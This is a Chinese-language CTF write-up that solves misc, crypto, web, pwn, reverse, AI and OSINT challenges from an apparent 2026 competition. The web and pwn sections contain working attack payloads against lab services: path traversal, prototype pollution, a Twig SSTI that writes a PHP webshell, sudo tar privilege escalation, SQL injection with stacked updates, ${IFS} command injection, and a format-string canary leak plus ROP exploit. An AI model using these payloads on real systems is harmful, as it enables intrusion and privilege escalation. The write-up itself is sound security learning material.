CTF LRTCTF2026WP LuooU 2026-11-08 2026-11-09 Misc
签到题
关注公众号可得。
In Girl
随波逐流处理zip伪加密(0000与0009),再通过foremost文件提取得到00000290.png,是一个二维码,扫码可得flag。
听音
把wav拖入audacity,音轨可视化->频谱图,可以看到摩尔斯电码,
解密即可:04420FEED1585E1A5688C4867CE103C3
USB
附件是usb流量包,用tshark:
1 tshark -r mouse_trajectory.pcap -T fields -e usb.capdata -e usbhid.data -Y "usb.capdata || usbhid.data"
鼠标键:[按钮, dx, dy, 滚轮],故写脚本处理坐标累加问题,轨迹问题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import structimport matplotlib.pyplot as pltpts, x, y = [], 0 , 0 for t in open ('data.txt' ).read().split(): r = bytes .fromhex(t.replace(':' , '' )) dx, dy = struct.unpack('bb' , r[1 :3 ]) x += dx; y += dy pts.append((x, y, r[0 ])) fig, ax = plt.subplots(figsize=(22 , 2 )) for (x0, y0, b0), (x1, y1, b1) in zip (pts, pts[1 :]): if b1 and b0: ax.plot([x0, x1], [y0, y1], 'k' ) ax.set_aspect('equal' ); ax.invert_yaxis(); ax.axis('off' ) plt.savefig('flag.png' , dpi=110 )
得到图片,图片内容即flag:
取证
附件memory.dmp,魔数为EMiL,目标为Linux。
还可以看到系统为Ubuntu 16.04 HWE 内核 4.15.0-142-generic.
但发现可以直接搜索flag:
1 # flag{m3m0ry_1s_4lw4ys_th3r3}
问卷
填写问卷得到flag。
Crypto
口算
附件给出 p=61、q=53、e=17,运行输出 n=3233、e=17、c=2790,求明文 m:
1 2 3 4 5 6 from Crypto.Util.number import inversep, q, e, c = 61 , 53 , 17 , 2790 n = p * q d = inverse(e, (p - 1 ) * (q - 1 )) print (pow (c, d, n))
得到65。
Silent Broadcast
Håstad 广播攻击。
1 2 3 4 5 6 from sympy import integer_nthrootc = 9350827553280369628999104613936543175021426316980818077380453958584157521232324535369375619309650706161140582027515355043918852859658183851700228786032381689299259492007433363885744515854352473790843021724546169393057929638034654349796709198318275394342253669 m = integer_nthroot(c, 3 )[0 ] print (m.to_bytes((m.bit_length() + 7 ) // 8 , "big" ))
得到:
1 b'lrtctf{h4st4d_br0adc4st_1s_n0t_s4fe}'
ez_23@
共模攻击,两组指数/密文 (e1=65537, c1)、(e2=17, c2)。
扩展欧几里得求出 s、t 使 s·e1 + t·e2 = 1即可,故:
1 2 3 4 5 6 7 8 9 10 11 12 n = 98431514160887347271189769602169191951513258485773947455606372502958270253217575729450758538759746913329549019298102926080143126585286702387524230478879382793217326618989030707925842715078486852366475683112165008249549264898926383259641085248861867606940137730183444091542668451702335703716374378819558470583 e1, c1 = 65537 , 41430169705919591464045305283843887516857601814606429122868169321811710472235615660605172933859621784859162136537003799698836903164282904050692156423576548846402849159339992767083708701214116277226265698503031091222874007004290688235596976071157295913782023974901717644923547515310749635943256341245695418912 e2, c2 = 17 , 67710393944851194619933845787696198747640939480699751252185025856408860932160625815279872238417746390747470516817475115718413448993398698630461649870348008482767224423425492502977024555769667205141448269181966828389809652633381132581953741165322840449578244785502008163883930298743514028283939687565893796953 def egcd (a, b ): if b == 0 : return a, 1 , 0 g, x, y = egcd(b, a % b) return g, y, x - (a // b) * y _, s, t = egcd(e1, e2) m = pow (c1, s, n) * pow (c2, t, n) % n print (m.to_bytes((m.bit_length() + 7 ) // 8 , 'big' ))
得到flag:
1 lrtctf{common_modulus_attack}
Web
Lrtmall
可以看到内联js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <script> document .querySelectorAll ('.pimg' ).forEach (function (img ) { var file = img.getAttribute ('data-file' ); fetch ('/load_image' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' }, body : 'filename=' + encodeURIComponent (file), cache : 'no-store' }) .then (function (r ) { if (!r.ok ) throw new Error ('failed' ); return r.blob (); }) .then (function (blob ) { img.src = URL .createObjectURL (blob); var loading = img.nextElementSibling ; if (loading) loading.style .display = 'none' ; }) .catch (function ( ) { img.alt = '图片加载失败' ; var loading = img.nextElementSibling ; if (loading) loading.textContent = '图片加载失败' ; }); }); </script>
向/load_image接口发送POST请求,带filename的参数,于是尝试路径穿越:
1 2 3 4 filename=flag filename=../flag filename=../../flag filename=../../../flag
得到flag:lrtctf{P4Th_tr4VIe_b54e459e0e76}
CronHub
深度合并意味着这里可以原型链污染:
1 { "__proto__" : { "a" : "a" } }
点更新配置没有渲染,尝试套在constructor里:
1 { "constructor" : { "prototype" : { "a" : "a" } } }
发现渲染了,于是尝试:
1 2 { "constructor" : { "prototype" : { "admin" : "true" } } } { "constructor" : { "prototype" : { "isadmin" : "true" } } }
第二个成功进入后台。
再尝试:
1 { "constructor" : { "prototype" : { "env" : { "NODE_OPTIONS" : "--require=/flag" } } } }
配置后运行任务,直接看到flag:
阿巴巴巴巴⑧
想进入后台,但是发现权限不够,看到jwt,于是考虑伪造jwt。
hashcat 跑 JWT 签名:
1 hashcat -m 16500 jwt.txt rockyou.txt
拿到了secret,故去jwt.io伪造,访问/admin。
看到通知模板,尝试{{1*1}}无回显,于是dirsearch扫接口,扫到/composer.json:
1 { "require" : { "twig/twig" : "3.10.3" } }
后端为twig3。
后面又尝试探测,发现sleep有反应(tpl={{['sleep 6']|filter('system')}}),但是无回显。
故尝试源码审计,可以看到/var/www/html/uploadswww-data可写。
用base64绕开引号,
1 tpl={{['echo PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA=|base64 -d > /var/www/html/uploads/z.php']|filter('system')}}
之后访问 /uploads/z.php?c=id 正常回显。
webshell 里 sudo -n -l:
1 2 User www-data may run the following commands: (root) NOPASSWD: /usr/bin/tar
经典绕过:
1 sudo -n tar cf /tmp/r.tar /root && tar -xOf /tmp/r.tar root/flag
root权限打包/root再绕过,得到flag:lrtctf{f996a9c6-e411-4ab8-a93d-cd844a3eeb4a}
阿八八八八Ⅷ
找房间,考虑sql注入,本题是SQLite。
1 2 room=A101' AND '1'='1 → 找到匹配时段 room=A101' AND '1'='2 → 没有匹配的时段
简单探测发现布尔注入仅仅一个数字不同就有不同结果,使用sqlmap枚举:
1 sqlmap -u "http://10.3.37.51:34098/reserve/search?room=A101" --cookie="PHPSESSID=..." --batch --technique=B --string="找到匹配" --dbs --tables -D labres
得到三张表feedback / slots / users,其中 users(id, name, role, admin_until)看到admin权限过期。
注入点支持堆叠查询,考虑把admin改成有效的:
1 room=A101'; UPDATE users SET role='admin',admin_until=4102444800 WHERE id=2;-- -
刷新后/admin/出现。
可以看到有导出功能,/admin/export.php?op=export&tz=now,将tz改成:tz=a,可以在响应里看到:
1 date: invalid date 'Bogus/Zone'
tz可以进入命令中,于是探测黑名单拦截的符号:
空格可以替换${IFS},报错信息直接回显:
1 2 tz=now$(id) → date: invalid date 'nowuid=33(www-data) gid=33(www-data) ...'
查看根目录的entrypoint.sh:
1 2 tz=now$(sed${IFS}-n${IFS}9p${IFS}/entrypoint.sh) → printf '%s\n' "$GZCTF_FLAG" > /var/www/flag.txt
看到flag在/var/www/flag.txt:
1 2 tz=now$(cat${IFS}/var/www/flag.txt) → date: invalid date 'nowlrtctf{8277b9a9-8471-4c8e-8514-2d07d03f5cd3}'
Pwn
overstack
看保护:
1 2 checksec stackstart # 非 PIE(地址固定)、开 canary、stripped ./stackstart # 菜单:1) draft 2) send 3) quit
在0x4014e9可以看到隐藏函数:
参数等于0x434f555249455221时fopen("/flag")并打印。
这个可以直接给前面那个函数传参,又观察到draft:printf(你的输入)存在格式化字符串漏洞;send:read0x180 字节,但缓冲到canary只有0x68存在栈溢出。
故exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *io = remote('10.3.37.51' , 33815 ) io.sendlineafter(b'> ' , b'1' ) io.sendafter(b'draft note:' , b'|' .join(b'%%%d$p' % n for n in range (22 , 30 ))) line = b'' while line.count(b'|' ) < 7 : line = io.recvline() canary = next (v for t in line.split(b'|' ) if (v := 0 if b'nil' in t else int (t, 16 )) and v & 0xff == 0 and not 0x7f0000000000 <= v <= 0x7fffffffffff ) io.sendlineafter(b'> ' , b'2' ) io.sendafter(b'recipient:' , b'A' * 0x68 + p64(canary) + p64(0 ) + p64(0x4014d0 ) + p64(0x434f555249455221 ) + p64(0x4014d1 ) + p64(0x4014e9 )) print (io.recvall(timeout=2 ).decode(errors='replace' ))
Reverse
数学高手
IDA 打开,无符号但主函数就是入口,F5(整理后):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int sum[11 ] = {222 , 215 , 218 , 242 , 209 , 210 , 210 , 203 , 230 , 215 , 227 };int diff[11 ] = {-6 , 17 , 14 , 4 , -7 , -12 , 8 , -13 , -2 , -17 , -23 };scanf ("%255s" , buf);if (strlen (buf) != 22 ) { puts ("Wrong length!" ); return ; }for (int i = 0 ; i < 11 ; i++) { int a = buf[2 *i], b = buf[2 *i + 1 ]; if (a + b != sum[i] || a - b != diff[i]) { printf ("Error in chunk %d! Access Denied.\n" , i); return ; } } puts ("Equations solved! Submit your flag!" );
分析一下,flag共22字符,相邻两位一组共11组,每组满足和差校验:
1 2 a + b = sum[i] a - b = diff[i]
和差问题消元:a = (sum+diff)/2,b = (sum-diff)/2,11组代入即得。
1 2 3 $ ./ez2 Please enter the flag: lrtctf{welcome_lrtctf} Equations solved! Submit your flag!
Mazerev
题目给了一个 challenge1.exe(x64 PE,UPX 壳),程序提示 Please input your flag:,输入正确输出 right。
直接脱壳,节名 UPX0/UPX1/UPX2,直接:
1 upx -d challenge1.exe -o unpacked.exe
IDA打开搜字符串Please input your flag,交叉引用即main.
可以看到:
地址
函数
0x13B20
main:scanf → check
0x2B20
check:前缀 lrtctf{、长度 40、结尾 }
0x29D0
三条路径拼接,取其MD5 → 与输入 { 后 32 字符比较
0x2670
对 15×15 迷宫 BFS 求最短路
0x14020
迷宫数据:0=墙,1=通路,3=起点,4=终点
故总结算法:
程序依次解3张迷宫:从3走到4要求最短路径,得到三段wasd路径串;拼接后取MD5 ,转32位小写 hex,与flag花括号内32字符strncmp比较。
三条路径与输入无关,任何合法格式的输入都会走到最终比较处。x64dbg 载入脱壳文件:
随便输入一个满足格式的串,这里写lrtctf{00000000000000000000000000000000}。断点命中两次:第一次是前缀比较(r8=7),第二次(r8=0x20)时rdx指向的内存就是我们要的hex:d75871d810d84814126b8427d579c25a。
故flag:lrtctf{d75871d810d84814126b8427d579c25a}
HRDrev
程序是一台自定义VM的解释器,flag校验逻辑被编译成字节码放在bytecode.bin里。
先脱壳,exe带UPX壳:
1 upx -d challenge2.exe -o unpacked.exe
拖入IDA,分析main函数的逻辑:
1 2 3 4 读入一行,长度必须恰好46,否则直接 Wrong; 输入整体作为VM的内存,bytecode.bin作为VM的代码,寄存器清零后运行; 停机判定看 r0:0x600df00d → Correct,0xbad0bad0 → Wrong。 目标要让所有校验通过、以r0 = 0x600df00d停机。
故查VM指令与反汇编字节码,尝试反解:
1 2 rol32((in16 ^ K1) + K2, S) == K3 → in16 == ror32(K3, S) - K2 ^ K1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import structM, code = 0xffffffff , open ('bytecode.bin' , 'rb' ).read() ror = lambda x, n: ((x >> n) | (x << (32 - n))) & M flag, pc = bytearray (46 ), 0 while pc < len (code): if code[pc] != 0x07 : pc += 1 ; continue addr = code[pc+2 ] | code[pc+3 ] << 8 k1 = struct.unpack_from('<I' , code, pc+6 )[0 ] k2 = struct.unpack_from('<I' , code, pc+12 )[0 ] s = code[pc+18 ] k3 = struct.unpack_from('<I' , code, pc+21 )[0 ] v = ((ror(k3, s) - k2) & M) ^ k1 flag[addr:addr+2 ] = v.to_bytes(2 , 'little' ) pc += 0x25 print (flag.decode())
go_back
go_back.py是一个加密算法,全是可逆变换,倒推即可。
CyberChef解密,Reverse->Translate(Table: 10 → 01)->From Binary(Delimiter: None)->Bit shift right(Amount: 1)。
AI
Lap酱的门禁
写一个对抗样本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import importlib.util, numpy as np, torchfrom PIL import Imagespec = importlib.util.spec_from_file_location("m" , "model.py" ) m = importlib.util.module_from_spec(spec); spec.loader.exec_module(m) model = m.load_model("model.pt" ) x0 = torch.from_numpy(np.asarray(Image.open ("sample.png" ).convert("L" ), dtype=np.float32)/255.0 )[None ,None ] TARGET, eps = 7 , 0.33 for seed in range (5 ): torch.manual_seed(seed) x = (x0 + torch.empty_like(x0).uniform_(-eps, eps)).clamp(0 ,1 ).requires_grad_(True ) opt = torch.optim.Adam([x], lr=0.03 ) for it in range (600 ): opt.zero_grad(); (-model(x)[0 , TARGET]).backward(); opt.step() with torch.no_grad(): x.clamp_(x0-eps, x0+eps).clamp_(0 ,1 ) if it % 50 == 49 : arr = (x.detach().numpy()[0 ,0 ]*255 ).round ().astype(np.uint8) Image.fromarray(arr).save("adv7.png" ) back = np.asarray(Image.open ("adv7.png" ).convert("L" ), dtype=np.float32)/255.0 with torch.no_grad(): if int (model(torch.from_numpy(back)[None ,None ])[0 ].argmax()) == TARGET: print ("done, L∞ =" , float (abs (back - x0.numpy()[0 ,0 ]).max ())); exit()
得到的png:
上传即可。
Osint
LAP酱的旅行日记Ⅱ
属性里可以看到一些特别的属性:
base64解码,
辽宁葫芦岛->辽宁,时间可以直接在拍摄日期里看到:2026/08/23,时分是0911.
故flag:lrtctf{辽宁葫芦岛_天津_2026/8/23_0911}